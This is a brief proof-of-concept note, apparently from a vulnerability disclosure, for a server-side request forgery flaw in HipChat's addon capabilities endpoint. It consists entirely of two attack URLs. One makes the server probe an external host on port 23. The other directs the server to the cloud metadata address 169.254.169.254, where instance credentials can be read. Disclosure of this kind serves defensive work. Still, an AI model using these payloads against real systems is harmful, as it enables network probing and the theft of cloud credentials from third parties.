Hipchat SSRF in addons

Proof of concept

https://example.hipchat.com/addons/capabilities?url=http://nmap.org:23
https://example.hipchat.com/addons/capabilities?url=http://169.254.169.254/latest/meta-data/